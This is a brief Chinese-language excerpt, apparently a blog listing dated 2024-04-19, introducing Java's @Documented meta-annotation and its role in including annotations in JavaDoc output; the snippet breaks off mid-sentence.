2024-04-19| Java: Documented注解学习 JavaDoc
在 Java 中,Documented 是一个元注解(meta-annotation),用于标记其他注解,表明这些注解应该被包含在 JavaDoc 文档中。以下是关于 Documented 注解的作用的简要说明: 作用 记录注解信息到 JavaDoc&#x…...